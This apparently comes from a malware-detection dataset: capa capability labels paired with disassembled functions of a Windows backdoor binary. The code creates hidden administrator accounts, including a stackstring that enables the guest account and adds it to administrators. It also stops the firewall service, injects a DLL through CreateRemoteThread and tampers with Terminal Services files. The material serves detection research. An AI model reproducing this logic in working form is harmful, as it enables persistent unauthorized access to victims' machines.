joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10029480
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
sub esp, 0x2c
or ecx, 0xffffffff
xor eax, eax
push esi
push edi
mov edi, str.00000
mov esi, dword [esp + 0x38]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.00000
push esi
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
push esi
jne 0x100294b9
lea eax, [esp + 0xc]
push 0x100ff678
push eax
jmp 0x100294c3
lea ecx, [esp + 0xc]
push str.00000_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov dl, 0x41
mov al, 0x5c
mov byte [esp + 0x21], dl
mov byte [esp + 0x25], dl
mov byte [esp + 0x30], dl
mov dl, 0x63
add esp, 0xc
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], dl
mov cl, 0x4d
mov byte [esp + 0x17], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x23], al
mov byte [esp + 0x2b], al
mov byte [esp + 0x31], al
lea edx, [esp + 0x38]
lea eax, [esp + 0x14]
mov byte [esp + 0x16], cl
mov byte [esp + 0x1a], cl
push edx
mov cl, 0x73
push eax
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x24], 0x53
mov byte [esp + 0x28], 0x44
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x6d
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x69
mov byte [esp + 0x2d], 0x6e
mov byte [esp + 0x2e], cl
mov byte [esp + 0x33], 0x6f
mov byte [esp + 0x34], 0x75
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x38], 0x55
mov byte [esp + 0x39], cl
mov byte [esp + 0x3a], 0x65
mov byte [esp + 0x3b], 0x72
mov byte [esp + 0x3c], cl
mov byte [esp + 0x3e], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10029585
pop edi
xor eax, eax
pop esi
add esp, 0x2c
ret 4
mov edx, dword [esp + 0x38]
lea ecx, [esp + 8]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [esp + 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
test esi, esi
sete al
pop esi
add esp, 0x2c
ret 4
Function at 0x100296a0
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
sub esp, 0x54
push ebx
push esi
mov esi, ecx
mov bl, 0x53
mov cl, 0x4d
mov dl, 0x41
mov al, 0x5c
mov byte [esp + 0xe], cl
mov byte [esp + 0x12], cl
mov byte [esp + 0xc], bl
mov byte [esp + 0xd], dl
mov byte [esp + 0xf], al
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], dl
mov byte [esp + 0x13], al
mov cl, 0x73
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], dl
mov byte [esp + 0x23], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x60]
mov bl, 0x6e
mov dl, 0x63
mov byte [esp + 0x1a], cl
mov byte [esp + 0x25], cl
mov byte [esp + 0x28], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x19], bl
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], dl
mov byte [esp + 0x21], bl
push eax
lea ecx, [esp + 0x38]
mov dl, 0x65
xor ebx, ebx
push 0x100ff678
push ecx
mov byte [esp + 0x20], 0x44
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x6d
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x30], 0x55
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x72
mov byte [esp + 0x36], 0x4e
mov byte [esp + 0x37], 0x61
mov byte [esp + 0x38], 0x6d
mov byte [esp + 0x39], dl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x17], bl
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x60]
lea eax, [esp + 0xc]
push edx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10029799
pop esi
xor eax, eax
pop ebx
add esp, 0x54
ret 4
mov edx, dword [esp + 0x60]
lea ecx, [esp + 0x34]
push edi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edi, eax
mov eax, dword [esp + 0x64]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, ebx
lea edx, [esp + 0xf]
setne cl
add ecx, 0x9c
push 1
mov byte [esp + 0x13], cl
push edx
mov ecx, esi
call fcn.10012e90
lea eax, [esp + 0xf]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x54
ret 4
Function at 0x100297f0
Capabilities:
Add user account
Add user account to group

Disassembly:
sub esp, 0xf8
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 1
mov dword [esp + 0x18], 0
mov byte [esp + 0x17], 0
call fcn.10012f40
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call ebp
add eax, 2
mov ecx, esi
push eax
call fcn.10012f40
mov ebx, eax
push ebx
call ebp
mov edx, eax
push edi
mov dword [esp + 0x20], edx
call ebp
mov ecx, dword [esp + 0x1c]
lea edx, [ecx + eax + 3]
mov ecx, esi
push edx
call fcn.10012f40
push edi
mov ebp, eax
call fcn.10028340
push ebx
mov dword [esp + 0x28], eax
call fcn.10028340
add esp, 8
mov dword [esp + 0x24], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
push eax
xor ebx, ebx
push ecx
push 1
push ebx
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], 0x10001
mov dword [esp + 0x4c], ebx
call sub.NETAPI32.dll_NetUserAdd
test eax, eax
je 0x100298c6
mov edx, dword [esp + 0x20]
push edx
call sub.MFC42.DLL_operatordelete
mov eax, dword [esp + 0x28]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 8
lea ecx, [esp + 0x13]
mov byte [esp + 0x13], 0x9b
push 1
push ecx
mov ecx, esi
call fcn.10012e90
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf8
ret
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x42]
mov word [esp + 0x40], bx
mov edx, dword [esp + 0x20]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x40]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
mov ecx, dword [esp + 0x28]
push ecx
call sub.MFC42.DLL_operatordelete
mov edx, dword [esp + 0x30]
push edx
call sub.MFC42.DLL_operatordelete
lea eax, [esp + 0x50]
push ebp
mov dword [esp + 0x2c], eax
call fcn.10028340
add esp, 0x14
lea ecx, [esp + 0x18]
mov edi, eax
push 1
push ecx
push 3
push edi
push ebx
call sub.NETAPI32.dll_NetLocalGroupAddMembers
push edi
mov ebp, eax
call sub.MFC42.DLL_operatordelete
add esp, 4
cmp ebp, ebx
setne dl
lea eax, [esp + 0x13]
add edx, 0x9a
push 1
push eax
mov ecx, esi
mov byte [esp + 0x1b], dl
call fcn.10012e90
mov ecx, esi
call fcn.10029450
lea ecx, [esp + 0x13]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf8
ret
Function at 0x10029970
Capabilities:
Delete user account
Query or enumerate registry value

Disassembly:
sub esp, 0xb4
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push 1
call fcn.10012f40
mov ebx, eax
mov byte [esp + 0x13], 0
push ebx
call fcn.10028340
add esp, 4
mov esi, eax
push esi
push 0
call sub.NETAPI32.dll_NetUserDel
push esi
mov edi, eax
call sub.MFC42.DLL_operatordelete
add esp, 4
test edi, edi
jne 0x100299d1
lea eax, [esp + 0x13]
push 1
push eax
mov ecx, ebp
mov byte [esp + 0x1b], 0x9c
call fcn.10012e90
mov ecx, ebp
call fcn.10029450
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xb4
ret
cmp edi, 0x8ad
je 0x10029a86
push ebx
lea ecx, [esp + 0x48]
push str.SAMSAMDomainsAccountUsersNames_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
xor esi, esi
lea edx, [esp + 0x14]
lea eax, [esp + 0x44]
push edx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10029a1e
push 0x32
call edi
inc esi
cmp esi, 0x64
jg 0x10029a8d
jmp 0x100299f9
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push 0x10130544
push ecx
mov dword [esp + 0x34], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x24]
push eax
push str._08X
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov ecx, ebp
push ebx
call fcn.100296a0
test eax, eax
je 0x10029a86
lea edx, [esp + 0x24]
mov ecx, ebp
push edx
call fcn.10029480
test eax, eax
jne 0x10029a8d
mov ecx, ebp
call fcn.10029450
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xb4
ret

Function at 0x10029aa0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call sub.MFC42.DLL_operatornew
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.10030e10
add eax, 1
adc edx, 0
push edx
push eax
push 0x10125270
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret
Function at 0x1002a6d0
Capabilities:
Acquire debug privileges
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.1001d8c0
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
push 0xf01ff
push str.sharedaccess
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0xc], 1
je 0x1002a729
lea ecx, [esp + 8]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push 0
push str.SeDebugPrivilege
call fcn.1001d8c0
add esp, 8
mov eax, 1
pop edi
pop esi
add esp, 0x1c
ret
Function at 0x1002a780
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
sub esp, 0x60
push ebx
mov cl, 0x65
mov dl, 0x74
mov al, 0x20
mov bl, 0x73
mov byte [esp + 4], 0x6e
mov byte [esp + 5], cl
mov byte [esp + 6], dl
mov byte [esp + 7], al
mov byte [esp + 8], 0x75
mov byte [esp + 9], bl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], 0x72
mov byte [esp + 0xc], al
mov byte [esp + 0xd], 0x67
mov byte [esp + 0xe], 0x75
mov byte [esp + 0xf], cl
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], dl
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0x2f
mov byte [esp + 0x14], 0x61
mov byte [esp + 0x15], 0x63
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x69
mov byte [esp + 0x18], 0x76
mov byte [esp + 0x19], cl
mov byte [esp + 0x1a], 0x3a
mov byte [esp + 0x1b], 0x79
mov byte [esp + 0x1c], cl
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], 0x26
mov byte [esp + 0x20], 0x26
mov byte [esp + 0x21], al
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], dl
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], cl
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], 0x67
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], dl
mov byte [esp + 0x30], al
mov byte [esp + 0x31], 0x31
mov byte [esp + 0x32], 0x32
mov byte [esp + 0x33], 0x33
mov byte [esp + 0x34], 0x34
mov byte [esp + 0x35], 0x35
mov byte [esp + 0x36], 0x36
mov byte [esp + 0x37], al
mov byte [esp + 0x38], 0x26
mov byte [esp + 0x39], 0x26
mov byte [esp + 0x3a], al
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], cl
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3e], al
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0x6f
mov byte [esp + 0x41], 0x63
mov byte [esp + 0x42], 0x61
mov byte [esp + 0x43], 0x6c
mov byte [esp + 0x44], 0x67
mov byte [esp + 0x45], 0x72
mov byte [esp + 0x46], 0x6f
mov byte [esp + 0x47], 0x75
mov byte [esp + 0x48], 0x70
mov byte [esp + 0x49], al
mov byte [esp + 0x4a], 0x61
mov byte [esp + 0x4b], 0x64
mov byte [esp + 0x4c], 0x6d
mov byte [esp + 0x4d], 0x69
mov byte [esp + 0x4e], 0x6e
mov byte [esp + 0x4f], 0x69
mov byte [esp + 0x58], al
mov byte [esp + 0x5e], al
lea eax, [esp + 4]
push 0
push eax
mov byte [esp + 0x58], bl
mov byte [esp + 0x59], dl
mov byte [esp + 0x5a], 0x72
mov byte [esp + 0x5b], 0x61
mov byte [esp + 0x5c], dl
mov byte [esp + 0x5d], 0x6f
mov byte [esp + 0x5e], 0x72
mov byte [esp + 0x5f], bl
mov byte [esp + 0x61], 0x67
mov byte [esp + 0x62], 0x75
mov byte [esp + 0x63], cl
mov byte [esp + 0x64], bl
mov byte [esp + 0x65], dl
mov byte [esp + 0x67], 0x2f
mov byte [esp + 0x68], 0x61
mov byte [esp + 0x69], 0x64
mov byte [esp + 0x6a], 0x64
mov byte [esp + 0x6b], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
pop ebx
add esp, 0x60
ret
Function at 0x1002a960
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x118
push ebx
mov ebx, dword [esp + 0x120]
push ebp
push esi
mov eax, dword [ebx]
mov ebp, dword [ebx + 4]
push edi
mov edi, ecx
lea ecx, [esp + 0x24]
push 0x104
push ecx
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [edi + 0x128]
lea eax, [esp + 0x24]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 2
lea ecx, [esp + 0x38]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x10]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x130]
lea eax, [esp + 0x20]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.10012e90
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x118
ret 8

Function at 0x1002aa70
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x20c
push ebx
lea eax, [esp + 8]
push str._termsrv_t.dll
mov dword [esp + 8], ecx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea ecx, [esp + 0x10c]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x10c]
mov ebx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1002aae8
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x1002ab40
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
lea eax, [esp + 0x10]
push edi
push eax
mov byte [ebx], 0xa0
call ebp
lea ecx, [eax + eax + 2]
lea esi, [esp + 0x14]
mov edx, ecx
lea edi, [ebx + 1]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
lea esi, [eax + eax + 3]
push 0x42
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ecx, dword [esp + 0x10]
mov edi, eax
push esi
push edi
call fcn.10012e90
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret
Function at 0x1002ab50
Capabilities:
Get common file path

Disassembly:
sub esp, 0x110
push esi
xor eax, eax
mov esi, ecx
mov dword [esp + 4], eax
lea ecx, [esp + 0x10]
mov dword [esp + 8], eax
push 0x104
push ecx
mov byte [esp + 0x14], al
mov byte [esp + 0xc], 0x70
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esi + 0x128]
lea eax, [esp + 0x10]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
lea ecx, [esp + 0x24]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x1002abcc
mov dword [esi + 0x230], 0
mov dword [esi + 0x234], 0
pop esi
add esp, 0x110
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 4]
push 9
push edx
mov ecx, esi
call fcn.10012e90
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
add esp, 0x110
ret

Function at 0x1002ac00
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 4], 5
jne 0x1002ac2d
mov ecx, dword [esp + 8]
mov eax, 1
cmp ecx, eax
je 0x1002ac2f
xor eax, eax
add esp, 0x9c
ret

Function at 0x1002ac90
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x224
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x88
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebp
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x238]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x10]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x18], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x1002ad13
mov edi, dword [esp + 0x23c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea edx, [esp + 0x130]
push edi
push edx
call ebx
test eax, eax
je 0x1002ad0f
lea eax, [esp + 0x10]
push eax
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x1002ad13
lea ecx, [esp + 0x130]
push edi
push ecx
call ebx
test eax, eax
jne 0x1002acf1
mov ebp, dword [esp + 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x224
ret
Function at 0x1002ad30
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x1c
push esi
mov esi, dword [esp + 0x28]
test esi, esi
push edi
jne 0x1002ad45
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
mov eax, dword [esp + 0x28]
push eax
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x1002ad62
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
mov cl, 0x65
mov al, 0x72
mov byte [esp + 0x15], cl
mov byte [esp + 0x18], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
lea ecx, [esp + 0x14]
mov dl, 0x6c
push ecx
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], 0x6e
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], 0
mov byte [esp + 0xc], 0x46
mov byte [esp + 0xd], al
mov byte [esp + 0x10], 0x4c
mov byte [esp + 0x11], 0x69
mov byte [esp + 0x12], 0x62
mov byte [esp + 0x13], al
mov byte [esp + 0x14], 0x61
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x79
mov byte [esp + 0x17], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edx, [esp + 8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x1002ae17
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call edi
pop edi
mov al, 1
pop esi
add esp, 0x1c
ret

Function at 0x1002ae40
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push esi
xor esi, esi
push edi
push esi
push 2
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 8]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1002aeaa
push ebx
mov ebx, dword [esp + 0x138]
mov ecx, dword [esp + 0x14]
push ebx
push ecx
call fcn.1002ac90
add esp, 8
test eax, eax
je 0x1002ae9a
mov edx, dword [esp + 0x14]
push eax
push edx
call fcn.1002ad30
add esp, 8
and eax, 0xff
mov esi, eax
lea eax, [esp + 0xc]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1002ae73
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
test esi, esi
setne al
pop esi
add esp, 0x128
ret

Function at 0x1002aed0
Capabilities:
Acquire debug privileges
Enumerate gui resources
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str._termsrv.dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
push str.SeDebugPrivilege
call fcn.1001d8c0
lea edx, [esp + 8]
push edx
call fcn.1002ae40
add esp, 0xc
test al, al
je 0x1002af9b
push ebx
push edi
push 0
push str.SeDebugPrivilege
Function at 0x1002afb0
Capabilities:
Start service

Disassembly:
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x1002aff5
mov eax, dword [esp + 8]
push ebx
push esi
push 0x10010
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x1002aff0
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
ret
Function at 0x1002cd50
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push 0
mov eax, dword [esi + 0x120]
mov dword [esi], 0x100bc98c
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.10012da0
pop esi
ret

Function at 0x1002ce10
Capabilities:
Acquire debug privileges
Enumerate threads
Resume thread

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.1002cd80
mov eax, dword [esp + 0x34]
add esp, 8
mov dword [esp + 0xc], 0x1c
mov edi, dword [eax]
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0xc]
mov esi, eax
push ecx
push esi
call sub.KERNEL32.dll_Thread32First
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1002ce84
cmp dword [esp + 0x18], edi
je 0x1002ce66
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Thread32Next
jmp 0x1002ce53
mov eax, dword [esp + 0x14]
push eax
push 0
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call ebx
push esi
call ebx
pop edi
pop esi
pop ebx
add esp, 0x1c
ret 8

Function at 0x1002ce90
Capabilities:
Acquire debug privileges
Enumerate threads
Suspend thread

Disassembly:
sub esp, 0x20
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.1002cd80
mov eax, dword [esp + 0x34]
add esp, 8
mov dword [esp + 0xc], 0x1c
mov ecx, dword [eax]
push 0
push 4
mov dword [esp + 0x34], ecx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0xc]
mov esi, eax
push edx
push esi
mov dword [esp + 0x10], esi
call sub.KERNEL32.dll_Thread32First
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1002cf1f
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenThread]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SuspendThread]
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x20]
cmp ecx, eax
jne 0x1002cf0e
mov ecx, dword [esp + 0x1c]
push ecx
push 0
push 0x1f03ff
call ebx
mov esi, eax
push esi
call ebp
push esi
call edi
mov esi, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push esi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1002cee8
pop ebp
pop ebx
push esi
call edi
pop edi
pop esi
add esp, 0x20
ret 8